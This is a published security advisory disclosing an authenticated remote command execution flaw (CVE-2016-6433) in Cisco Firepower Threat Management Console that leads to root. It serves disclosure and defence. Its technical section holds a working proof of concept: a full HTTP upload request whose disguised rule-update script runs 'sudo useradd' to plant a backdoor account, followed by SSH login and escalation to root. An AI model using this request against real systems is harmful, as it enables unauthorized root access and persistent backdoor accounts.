Cisco Firepower Threat Management Command Execution

`KL-001-2016-007 : Cisco Firepower Threat Management Console Remote Command  
Execution Leading to Root Access  
  
Title: Cisco Firepower Threat Management Console Remote Command Execution  
Leading to Root Access  
Advisory ID: KL-001-2016-007  
Publication Date: 2016.10.05  
Publication URL: https://www.korelogic.com/Resources/Advisories/KL-001-2016-007.txt  
  
  
1. Vulnerability Details  
  
Affected Vendor: Cisco  
Affected Product: Firepower Threat Management Console  
Affected Version: Cisco Fire Linux OS 6.0.1 (build 37/build 1213)  
Platform: Embedded Linux  
CWE Classification: CWE-434: Unrestricted Upload of File with Dangerous  
Type, CWE-94: Improper Control of Generation of Code  
Impact: Arbitrary Code Execution  
Attack vector: HTTP  
CVE-ID: CVE-2016-6433  
  
2. Vulnerability Description  
  
An authenticated user can run arbitrary system commands as  
the www user which leads to root.  
  
3. Technical Description  
  
A valid session and CSRF token is required. The webserver runs as  
a non-root user which is permitted to sudo commands as root with  
no password.  
  
POST /DetectionPolicy/rules/rulesimport.cgi?no_mojo=1 HTTP/1.1  
Host: 1.3.3.7  
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.10; rv:45.0)  
Gecko/20100101 Firefox/45.0  
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8  
Accept-Language: en-US,en;q=0.5  
Accept-Encoding: gzip, deflate, br  
DNT: 1  
Cookie: CGISESSID=4919a7838198009bba48f6233d0bd1c6  
Connection: close  
Content-Type: multipart/form-data;  
boundary=---------------------------15519792567789791301241925798  
Content-Length: 813  
  
-----------------------------15519792567789791301241925798  
Content-Disposition: form-data; name="manual_update"  
  
1  
-----------------------------15519792567789791301241925798  
Content-Disposition: form-data; name="source"  
  
file  
-----------------------------15519792567789791301241925798  
Content-Disposition: form-data; name="file";  
filename="Sourcefire_Rule_Update-2016-03-04-001-vrt.sh"  
Content-Type: application/octet-stream  
  
sudo useradd -G ldapgroup -p `openssl passwd -1 korelogic` korelogic  
-----------------------------15519792567789791301241925798  
Content-Disposition: form-data; name="action_submit"  
  
Import  
-----------------------------15519792567789791301241925798  
Content-Disposition: form-data; name="sf_action_id"  
  
8c6059ae8dbedc089877b16b7be2ae7f  
-----------------------------15519792567789791301241925798--  
  
  
HTTP/1.1 200 OK  
Date: Sat, 23 Apr 2016 13:38:01 GMT  
Server: Apache  
Vary: Accept-Encoding  
X-Frame-Options: SAMEORIGIN  
Content-Length: 49998  
Connection: close  
Content-Type: text/html; charset=utf-8  
  
...  
  
$ ssh [email protected]  
Password:  
  
Copyright 2004-2016, Cisco and/or its affiliates. All rights reserved.  
Cisco is a registered trademark of Cisco Systems, Inc.  
All other trademarks are property of their respective owners.  
  
Cisco Fire Linux OS v6.0.1 (build 37)  
Cisco Firepower Management Center for VMWare v6.0.1 (build 1213)  
  
Could not chdir to home directory /Volume/home/korelogic: No such file or  
directory  
korelogic@firepower:/$ sudo su -  
Password:  
root@firepower:~#  
  
4. Mitigation and Remediation Recommendation  
  
The vendor has acknowledged this vulnerability but has  
not issued a fix. Vendor acknowledgement available at:  
  
https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20161005-ftmc2  
  
5. Credit  
  
This vulnerability was discovered by Matt Bergin (@thatguylevel) of  
KoreLogic, Inc.  
  
6. Disclosure Timeline  
  
2016.06.30 - KoreLogic sends vulnerability report and PoC to Cisco.  
2016.06.30 - Cisco acknowledges receipt of vulnerability report.  
2016.07.20 - KoreLogic and Cisco discuss remediation timeline for  
this vulnerability and for 3 others reported in the  
same product.  
2016.08.12 - 30 business days have elapsed since the vulnerability was  
reported to Cisco.  
2016.09.02 - 45 business days have elapsed since the vulnerability was  
reported to Cisco.  
2016.09.09 - KoreLogic asks for an update on the status of the  
remediation efforts.  
2016.09.15 - Cisco confirms remediation is underway and soon to be  
completed.  
2016.09.28 - Cisco informs KoreLogic that the acknowledgement details  
will be released publicly on 2016.10.05.  
2016.10.05 - Public disclosure.  
  
7. Proof of Concept  
  
See Technical Description  
  
  
The contents of this advisory are copyright(c) 2016  
KoreLogic, Inc. and are licensed under a Creative Commons  
Attribution Share-Alike 4.0 (United States) License:  
http://creativecommons.org/licenses/by-sa/4.0/  
  
KoreLogic, Inc. is a founder-owned and operated company with a  
proven track record of providing security services to entities  
ranging from Fortune 500 to small and mid-sized companies. We  
are a highly skilled team of senior security consultants doing  
by-hand security assessments for the most important networks in  
the U.S. and around the world. We are also developers of various  
tools and resources aimed at helping the security community.  
https://www.korelogic.com/about-korelogic.html  
  
Our public vulnerability disclosure policy is available at:  
https://www.korelogic.com/KoreLogic-Public-Vulnerability-Disclosure-Policy.v2.2.txt  
  
`